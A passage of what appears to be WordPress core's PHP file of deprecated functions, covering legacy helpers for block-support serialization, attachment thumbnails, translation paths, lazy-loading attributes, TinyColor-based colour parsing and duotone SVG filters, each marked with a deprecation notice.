	_deprecated_function( __FUNCTION__, '5.9.1', 'wp_get_duotone_filter_property()' );

	return wp_get_duotone_filter_property( $preset );
}

/**
 * Checks whether serialization of the current block's border properties should occur.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_Type $block_type Block type.
 * @return bool Whether serialization of the current block's border properties
 *              should occur.
 */
function wp_skip_border_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$border_support = isset( $block_type->supports['__experimentalBorder'] )
		? $block_type->supports['__experimentalBorder']
		: false;

	return is_array( $border_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $border_support ) &&
		$border_support['__experimentalSkipSerialization'];
}

/**
 * Checks whether serialization of the current block's dimensions properties should occur.
 *
 * @since 5.9.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_type $block_type Block type.
 * @return bool Whether to serialize spacing support styles & classes.
 */
function wp_skip_dimensions_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$dimensions_support = isset( $block_type->supports['__experimentalDimensions'] )
		? $block_type->supports['__experimentalDimensions']
		: false;

	return is_array( $dimensions_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $dimensions_support ) &&
		$dimensions_support['__experimentalSkipSerialization'];
}

/**
 * Checks whether serialization of the current block's spacing properties should occur.
 *
 * @since 5.9.0
 * @access private
 * @deprecated 6.0.0 Use wp_should_skip_block_supports_serialization() introduced in 6.0.0.
 *
 * @see wp_should_skip_block_supports_serialization()
 *
 * @param WP_Block_Type $block_type Block type.
 * @return bool Whether to serialize spacing support styles & classes.
 */
function wp_skip_spacing_serialization( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.0.0', 'wp_should_skip_block_supports_serialization()' );

	$spacing_support = isset( $block_type->supports['spacing'] )
		? $block_type->supports['spacing']
		: false;

	return is_array( $spacing_support ) &&
		array_key_exists( '__experimentalSkipSerialization', $spacing_support ) &&
		$spacing_support['__experimentalSkipSerialization'];
}

/**
 * Inject the block editor assets that need to be loaded into the editor's iframe as an inline script.
 *
 * @since 5.8.0
 * @deprecated 6.0.0
 */
function wp_add_iframed_editor_assets_html() {
	_deprecated_function( __FUNCTION__, '6.0.0' );
}

/**
 * Retrieves thumbnail for an attachment.
 * Note that this works only for the (very) old image metadata style where 'thumb' was set,
 * and the 'sizes' array did not exist. This function returns false for the newer image metadata style
 * despite that 'thumbnail' is present in the 'sizes' array.
 *
 * @since 2.1.0
 * @deprecated 6.1.0
 *
 * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
 * @return string|false Thumbnail file path on success, false on failure.
 */
function wp_get_attachment_thumb_file( $post_id = 0 ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	$post_id = (int) $post_id;
	$post    = get_post( $post_id );

	if ( ! $post ) {
		return false;
	}

	// Use $post->ID rather than $post_id as get_post() may have used the global $post object.
	$imagedata = wp_get_attachment_metadata( $post->ID );

	if ( ! is_array( $imagedata ) ) {
		return false;
	}

	$file = get_attached_file( $post->ID );

	if ( ! empty( $imagedata['thumb'] ) ) {
		$thumbfile = str_replace( wp_basename( $file ), $imagedata['thumb'], $file );
		if ( file_exists( $thumbfile ) ) {
			/**
			 * Filters the attachment thumbnail file path.
			 *
			 * @since 2.1.0
			 *
			 * @param string $thumbfile File path to the attachment thumbnail.
			 * @param int    $post_id   Attachment ID.
			 */
			return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
		}
	}

	return false;
}

/**
 * Gets the path to a translation file for loading a textdomain just in time.
 *
 * Caches the retrieved results internally.
 *
 * @since 4.7.0
 * @deprecated 6.1.0
 * @access private
 *
 * @see _load_textdomain_just_in_time()
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @param bool   $reset  Whether to reset the internal cache. Used by the switch to locale functionality.
 * @return string|false The path to the translation file or false if no translation file was found.
 */
function _get_path_to_translation( $domain, $reset = false ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' );

	static $available_translations = array();

	if ( true === $reset ) {
		$available_translations = array();
	}

	if ( ! isset( $available_translations[ $domain ] ) ) {
		$available_translations[ $domain ] = _get_path_to_translation_from_lang_dir( $domain );
	}

	return $available_translations[ $domain ];
}

/**
 * Gets the path to a translation file in the languages directory for the current locale.
 *
 * Holds a cached list of available .mo files to improve performance.
 *
 * @since 4.7.0
 * @deprecated 6.1.0
 * @access private
 *
 * @see _get_path_to_translation()
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @return string|false The path to the translation file or false if no translation file was found.
 */
function _get_path_to_translation_from_lang_dir( $domain ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'WP_Textdomain_Registry' );

	static $cached_mofiles = null;

	if ( null === $cached_mofiles ) {
		$cached_mofiles = array();

		$locations = array(
			WP_LANG_DIR . '/plugins',
			WP_LANG_DIR . '/themes',
		);

		foreach ( $locations as $location ) {
			$mofiles = glob( $location . '/*.mo' );
			if ( $mofiles ) {
				$cached_mofiles = array_merge( $cached_mofiles, $mofiles );
			}
		}
	}

	$locale = determine_locale();
	$mofile = "{$domain}-{$locale}.mo";

	$path = WP_LANG_DIR . '/plugins/' . $mofile;
	if ( in_array( $path, $cached_mofiles, true ) ) {
		return $path;
	}

	$path = WP_LANG_DIR . '/themes/' . $mofile;
	if ( in_array( $path, $cached_mofiles, true ) ) {
		return $path;
	}

	return false;
}

/**
 * Allows multiple block styles.
 *
 * @since 5.9.0
 * @deprecated 6.1.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Metadata for registering a block type.
 */
function _wp_multiple_block_styles( $metadata ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );
	return $metadata;
}

/**
 * Generates an inline style for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.1.0 Use wp_style_engine_get_styles() introduced in 6.1.0.
 *
 * @see wp_style_engine_get_styles()
 *
 * @param array  $attributes   Block's attributes.
 * @param string $feature      Key for the feature within the typography styles.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string CSS inline style.
 */
function wp_typography_get_css_variable_inline_style( $attributes, $feature, $css_property ) {
	_deprecated_function( __FUNCTION__, '6.1.0', 'wp_style_engine_get_styles()' );

	// Retrieve current attribute value or skip if not found.
	$style_value = _wp_array_get( $attributes, array( 'style', 'typography', $feature ), false );
	if ( ! $style_value ) {
		return;
	}

	// If we don't have a preset CSS variable, we'll assume it's a regular CSS value.
	if ( ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return sprintf( '%s:%s;', $css_property, $style_value );
	}

	/*
	 * We have a preset CSS variable as the style.
	 * Get the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = substr( $style_value, $index_to_splice );

	// Return the actual CSS inline style e.g. `text-decoration:var(--wp--preset--text-decoration--underline);`.
	return sprintf( '%s:var(--wp--preset--%s--%s);', $css_property, $css_property, $slug );
}

/**
 * Determines whether global terms are enabled.
 *
 * @since 3.0.0
 * @since 6.1.0 This function now always returns false.
 * @deprecated 6.1.0
 *
 * @return bool Always returns false.
 */
function global_terms_enabled() {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	return false;
}

/**
 * Filter the SQL clauses of an attachment query to include filenames.
 *
 * @since 4.7.0
 * @deprecated 6.0.3
 * @access private
 *
 * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY,
 *                       DISTINCT, fields (SELECT), and LIMITS clauses.
 * @return array The unmodified clauses.
 */
function _filter_query_attachment_filenames( $clauses ) {
	_deprecated_function( __FUNCTION__, '6.0.3', 'add_filter( "wp_allow_query_attachment_by_filename", "__return_true" )' );
	remove_filter( 'posts_clauses', __FUNCTION__ );
	return $clauses;
}

/**
 * Retrieves a page given its title.
 *
 * If more than one post uses the same title, the post with the smallest ID will be returned.
 * Be careful: in case of more than one post having the same title, it will check the oldest
 * publication date, not the smallest ID.
 *
 * Because this function uses the MySQL '=' comparison, $page_title will usually be matched
 * as case-insensitive with default collation.
 *
 * @since 2.1.0
 * @since 3.0.0 The `$post_type` parameter was added.
 * @deprecated 6.2.0 Use WP_Query.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $page_title Page title.
 * @param string       $output     Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                 correspond to a WP_Post object, an associative array, or a numeric array,
 *                                 respectively. Default OBJECT.
 * @param string|array $post_type  Optional. Post type or array of post types. Default 'page'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 */
function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
	_deprecated_function( __FUNCTION__, '6.2.0', 'WP_Query' );
	global $wpdb;

	if ( is_array( $post_type ) ) {
		$post_type           = esc_sql( $post_type );
		$post_type_in_string = "'" . implode( "','", $post_type ) . "'";
		$sql                 = $wpdb->prepare(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_title = %s
			AND post_type IN ($post_type_in_string)",
			$page_title
		);
	} else {
		$sql = $wpdb->prepare(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_title = %s
			AND post_type = %s",
			$page_title,
			$post_type
		);
	}

	$page = $wpdb->get_var( $sql );

	if ( $page ) {
		return get_post( $page, $output );
	}

	return null;
}

/**
 * Returns the correct template for the site's home page.
 *
 * @access private
 * @since 6.0.0
 * @deprecated 6.2.0 Site Editor's server-side redirect for missing postType and postId
 *                   query args is removed. Thus, this function is no longer used.
 *
 * @return array|null A template object, or null if none could be found.
 */
function _resolve_home_block_template() {
	_deprecated_function( __FUNCTION__, '6.2.0' );

	$show_on_front = get_option( 'show_on_front' );
	$front_page_id = get_option( 'page_on_front' );

	if ( 'page' === $show_on_front && $front_page_id ) {
		return array(
				'postType' => 'page',
				'postId'   => $front_page_id,
		);
	}

	$hierarchy = array( 'front-page', 'home', 'index' );
	$template  = resolve_block_template( 'home', $hierarchy, '' );

	if ( ! $template ) {
		return null;
	}

	return array(
			'postType' => 'wp_template',
			'postId'   => $template->id,
	);
}

/**
 * Displays the link to the Windows Live Writer manifest file.
 *
 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
 * @since 2.3.1
 * @deprecated 6.3.0 WLW manifest is no longer in use and no longer included in core,
 *                   so the output from this function is removed.
 */
function wlwmanifest_link() {
	_deprecated_function( __FUNCTION__, '6.3.0' );
}

/**
 * Queues comments for metadata lazy-loading.
 *
 * @since 4.5.0
 * @deprecated 6.3.0 Use wp_lazyload_comment_meta() instead.
 *
 * @param WP_Comment[] $comments Array of comment objects.
 */
function wp_queue_comments_for_comment_meta_lazyload( $comments ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_lazyload_comment_meta()' );
	// Don't use `wp_list_pluck()` to avoid by-reference manipulation.
	$comment_ids = array();
	if ( is_array( $comments ) ) {
		foreach ( $comments as $comment ) {
			if ( $comment instanceof WP_Comment ) {
				$comment_ids[] = $comment->comment_ID;
			}
		}
	}

	wp_lazyload_comment_meta( $comment_ids );
}

/**
 * Gets the default value to use for a `loading` attribute on an element.
 *
 * This function should only be called for a tag and context if lazy-loading is generally enabled.
 *
 * The function usually returns 'lazy', but uses certain heuristics to guess whether the current element is likely to
 * appear above the fold, in which case it returns a boolean `false`, which will lead to the `loading` attribute being
 * omitted on the element. The purpose of this refinement is to avoid lazy-loading elements that are within the initial
 * viewport, which can have a negative performance impact.
 *
 * Under the hood, the function uses {@see wp_increase_content_media_count()} every time it is called for an element
 * within the main content. If the element is the very first content element, the `loading` attribute will be omitted.
 * This default threshold of 3 content elements to omit the `loading` attribute for can be customized using the
 * {@see 'wp_omit_loading_attr_threshold'} filter.
 *
 * @since 5.9.0
 * @deprecated 6.3.0 Use wp_get_loading_optimization_attributes() instead.
 * @see wp_get_loading_optimization_attributes()
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $context Context for the element for which the `loading` attribute value is requested.
 * @return string|bool The default `loading` attribute value. Either 'lazy', 'eager', or a boolean `false`, to indicate
 *                     that the `loading` attribute should be skipped.
 */
function wp_get_loading_attr_default( $context ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_get_loading_optimization_attributes()' );
	global $wp_query;

	// Skip lazy-loading for the overall block template, as it is handled more granularly.
	if ( 'template' === $context ) {
		return false;
	}

	/*
	 * Do not lazy-load images in the header block template part, as they are likely above the fold.
	 * For classic themes, this is handled in the condition below using the 'get_header' action.
	 */
	$header_area = WP_TEMPLATE_PART_AREA_HEADER;
	if ( "template_part_{$header_area}" === $context ) {
		return false;
	}

	// Special handling for programmatically created image tags.
	if ( 'the_post_thumbnail' === $context || 'wp_get_attachment_image' === $context ) {
		/*
		 * Skip programmatically created images within post content as they need to be handled together with the other
		 * images within the post content.
		 * Without this clause, they would already be counted below which skews the number and can result in the first
		 * post content image being lazy-loaded only because there are images elsewhere in the post content.
		 */
		if ( doing_filter( 'the_content' ) ) {
			return false;
		}

		// Conditionally skip lazy-loading on images before the loop.
		if (
			// Only apply for main query but before the loop.
			$wp_query->before_loop && $wp_query->is_main_query()
			/*
			 * Any image before the loop, but after the header has started should not be lazy-loaded,
			 * except when the footer has already started which can happen when the current template
			 * does not include any loop.
			 */
			&& did_action( 'get_header' ) && ! did_action( 'get_footer' )
		) {
			return false;
		}
	}

	/*
	 * The first elements in 'the_content' or 'the_post_thumbnail' should not be lazy-loaded,
	 * as they are likely above the fold.
	 */
	if ( 'the_content' === $context || 'the_post_thumbnail' === $context ) {
		// Only elements within the main query loop have special handling.
		if ( is_admin() || ! in_the_loop() || ! is_main_query() ) {
			return 'lazy';
		}

		// Increase the counter since this is a main query content element.
		$content_media_count = wp_increase_content_media_count();

		// If the count so far is below the threshold, return `false` so that the `loading` attribute is omitted.
		if ( $content_media_count <= wp_omit_loading_attr_threshold() ) {
			return false;
		}

		// For elements after the threshold, lazy-load them as usual.
		return 'lazy';
	}

	// Lazy-load by default for any unknown context.
	return 'lazy';
}

/**
 * Adds `loading` attribute to an `img` HTML tag.
 *
 * @since 5.5.0
 * @deprecated 6.3.0 Use wp_img_tag_add_loading_optimization_attrs() instead.
 * @see wp_img_tag_add_loading_optimization_attrs()
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with `loading` attribute added.
 */
function wp_img_tag_add_loading_attr( $image, $context ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'wp_img_tag_add_loading_optimization_attrs()' );
	/*
	 * Get loading attribute value to use. This must occur before the conditional check below so that even images that
	 * are ineligible for being lazy-loaded are considered.
	 */
	$value = wp_get_loading_attr_default( $context );

	// Images should have source and dimension attributes for the `loading` attribute to be added.
	if ( ! str_contains( $image, ' src="' ) || ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) {
		return $image;
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$value = apply_filters( 'wp_img_tag_add_loading_attr', $value, $image, $context );

	if ( $value ) {
		if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) {
			$value = 'lazy';
		}

		return str_replace( '<img', '<img loading="' . esc_attr( $value ) . '"', $image );
	}

	return $image;
}

/**
 * Takes input from [0, n] and returns it as [0, 1].
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param mixed $n   Number of unknown type.
 * @param int   $max Upper value of the range to bound to.
 * @return float Value in the range [0, 1].
 */
function wp_tinycolor_bound01( $n, $max ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	if ( 'string' === gettype( $n ) && str_contains( $n, '.' ) && 1 === (float) $n ) {
		$n = '100%';
	}

	$n = min( $max, max( 0, (float) $n ) );

	// Automatically convert percentage into number.
	if ( 'string' === gettype( $n ) && str_contains( $n, '%' ) ) {
		$n = (int) ( $n * $max ) / 100;
	}

	// Handle floating point rounding errors.
	if ( ( abs( $n - $max ) < 0.000001 ) ) {
		return 1.0;
	}

	// Convert into [0, 1] range if it isn't already.
	return ( $n % $max ) / (float) $max;
}

/**
 * Direct port of tinycolor's boundAlpha function to maintain consistency with
 * how tinycolor works.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.9.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param mixed $n Number of unknown type.
 * @return float Value in the range [0,1].
 */
function _wp_tinycolor_bound_alpha( $n ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	if ( is_numeric( $n ) ) {
		$n = (float) $n;
		if ( $n >= 0 && $n <= 1 ) {
			return $n;
		}
	}
	return 1;
}

/**
 * Rounds and converts values of an RGB object.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $rgb_color RGB object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_rgb_to_rgb( $rgb_color ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	return array(
		'r' => wp_tinycolor_bound01( $rgb_color['r'], 255 ) * 255,
		'g' => wp_tinycolor_bound01( $rgb_color['g'], 255 ) * 255,
		'b' => wp_tinycolor_bound01( $rgb_color['b'], 255 ) * 255,
	);
}

/**
 * Helper function for hsl to rgb conversion.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param float $p first component.
 * @param float $q second component.
 * @param float $t third component.
 * @return float R, G, or B component.
 */
function wp_tinycolor_hue_to_rgb( $p, $q, $t ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	if ( $t < 0 ) {
		++$t;
	}
	if ( $t > 1 ) {
		--$t;
	}
	if ( $t < 1 / 6 ) {
		return $p + ( $q - $p ) * 6 * $t;
	}
	if ( $t < 1 / 2 ) {
		return $q;
	}
	if ( $t < 2 / 3 ) {
		return $p + ( $q - $p ) * ( 2 / 3 - $t ) * 6;
	}
	return $p;
}

/**
 * Converts an HSL object to an RGB object with converted and rounded values.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $hsl_color HSL object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_hsl_to_rgb( $hsl_color ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	$h = wp_tinycolor_bound01( $hsl_color['h'], 360 );
	$s = wp_tinycolor_bound01( $hsl_color['s'], 100 );
	$l = wp_tinycolor_bound01( $hsl_color['l'], 100 );

	if ( 0 === $s ) {
		// Achromatic.
		$r = $l;
		$g = $l;
		$b = $l;
	} else {
		$q = $l < 0.5 ? $l * ( 1 + $s ) : $l + $s - $l * $s;
		$p = 2 * $l - $q;
		$r = wp_tinycolor_hue_to_rgb( $p, $q, $h + 1 / 3 );
		$g = wp_tinycolor_hue_to_rgb( $p, $q, $h );
		$b = wp_tinycolor_hue_to_rgb( $p, $q, $h - 1 / 3 );
	}

	return array(
		'r' => $r * 255,
		'g' => $g * 255,
		'b' => $b * 255,
	);
}

/**
 * Parses hex, hsl, and rgb CSS strings using the same regex as TinyColor v1.4.2
 * used in the JavaScript. Only colors output from react-color are implemented.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 * @link https://github.com/casesandberg/react-color/
 *
 * @since 5.8.0
 * @since 5.9.0 Added alpha processing.
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param string $color_str CSS color string.
 * @return array RGB object.
 */
function wp_tinycolor_string_to_rgb( $color_str ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	$color_str = strtolower( trim( $color_str ) );

	$css_integer = '[-\\+]?\\d+%?';
	$css_number  = '[-\\+]?\\d*\\.\\d+%?';

	$css_unit = '(?:' . $css_number . ')|(?:' . $css_integer . ')';

	$permissive_match3 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';
	$permissive_match4 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';

	$rgb_regexp = '/^rgb' . $permissive_match3 . '$/';
	if ( preg_match( $rgb_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$rgba_regexp = '/^rgba' . $permissive_match4 . '$/';
	if ( preg_match( $rgba_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hsl_regexp = '/^hsl' . $permissive_match3 . '$/';
	if ( preg_match( $hsl_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hsla_regexp = '/^hsla' . $permissive_match4 . '$/';
	if ( preg_match( $hsla_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hex8_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex8_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex6_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex6_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hex4_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex4_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4] . $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex3_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex3_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	/*
	 * The JS color picker considers the string "transparent" to be a hex value,
	 * so we need to handle it here as a special case.
	 */
	if ( 'transparent' === $color_str ) {
		return array(
			'r' => 0,
			'g' => 0,
			'b' => 0,
			'a' => 0,
		);
	}
}

/**
 * Returns the prefixed id for the duotone filter for use as a CSS id.
 *
 * @since 5.9.1
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone filter CSS id.
 */
function wp_get_duotone_filter_id( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	return WP_Duotone::get_filter_id_from_preset( $preset );
}

/**
 * Returns the CSS filter property url to reference the rendered SVG.
 *
 * @since 5.9.0
 * @since 6.1.0 Allow unset for preset colors.
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property url value.
 */
function wp_get_duotone_filter_property( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	return WP_Duotone::get_filter_css_property_value_from_preset( $preset );
}

/**
 * Returns the duotone filter SVG string for the preset.
 *
 * @since 5.9.1
 * @deprecated 6.3.0 Use WP_Duotone::get_filter_svg_from_preset() instead.
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone SVG filter.
 */
function wp_get_duotone_filter_svg( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::get_filter_svg_from_preset()' );
	return WP_Duotone::get_filter_svg_from_preset( $preset );
}

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.8.0
 * @deprecated 6.3.0 Use WP_Duotone::register_duotone_support() instead.
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_duotone_support( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::register_duotone_support()' );
	return WP_Duotone::register_duotone_support( $block_type );
}

/**
 * Renders out the duotone stylesheet and SVG.
 *
 * @since 5.8.0
 * @since 6.1.0 Allow unset for preset colors.
 * @deprecated 6.3.0 Use WP_Duotone::render_duotone_support() instead.
 *
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_duotone_support( $block_content, $block ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::render_duotone_support()' );
	$wp_block = new WP_Block( $block );
	return WP_Duotone::render_duotone_support( $block_content, $block, $wp_block );
}

/**
 * Returns a string containing the SVGs to be referenced as filters (duotone).
 *
 * @since 5.9.1
 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports.
 *
 * @return string
 */
function wp_get_global_styles_svg_filters() {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'theme' );
	$cache_group    = 'theme_json';
	$cache_key      = 'wp_get_global_styles_svg_filters';
	if ( $can_use_cached ) {
		$cached = wp_cache_get( $cache_key, $cache_group );
		if ( $cached ) {
			return $cached;
		}
	}

	$supports_theme_json = wp_theme_has_theme_json();

	$origins = array( 'default', 'theme', 'custom' );
	if ( ! $supports_theme_json ) {
		$origins = array( 'default' );
	}

	$tree = WP_Theme_JSON_Resolver::get_merged_data();
	$svgs = $tree->get_svg_filters( $origins );

	if ( $can_use_cached ) {
		wp_cache_set( $cache_key, $svgs, $cache_group );
	}

	return $svgs;
}

/**
 * Renders the SVG filters supplied by theme.json.
 *
 * Note that this doesn't render the per-block user-defined
 * filters which are handled by wp_render_duotone_support,
 * but it should be rendered before the filtered content
 * in the body to satisfy Safari's rendering quirks.
 *
 * @since 5.9.1
 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports.
 */
function wp_global_styles_render_svg_filters() {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	/*
	 * When calling via the in_admin_header action, we only want to render the
	 * SVGs on block editor pages.
	 */
	if (
		is_admin() &&
		! get_current_screen()->is_block_editor()
	) {
		return;
	}

	$filters = wp_get_global_styles_svg_filters();
	if ( ! empty( $filters ) ) {
		echo $filters;
	}
}

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the navigation markup in the front-end.
 *
 * @since 5.9.0
 * @deprecated 6.3.0 This was removed from the Navigation Submenu block in favour of `wp_apply_colors_support()`.
 *                   `wp_apply_colors_support()` returns an array with similar class and style values,
 *                   but with different keys: `class` and `style`.
 *
 * @param  array $context     Navigation block context.
 * @param  array $attributes  Block attributes.
 * @param  bool  $is_sub_menu Whether the block is a sub-menu.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_navigation_submenu_build_css_colors( $context, $attributes, $is_sub_menu = false ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	$colors = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	// Text color.
	$named_text_color  = null;
	$custom_text_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) {
		$custom_text_color = $context['customOverlayTextColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) {
		$named_text_color = $context['overlayTextColor'];
	} elseif ( array_key_exists( 'customTextColor', $context ) ) {
		$custom_text_color = $context['customTextColor'];
	} elseif ( array_key_exists( 'textColor', $context ) ) {
		$named_text_color = $context['textColor'];
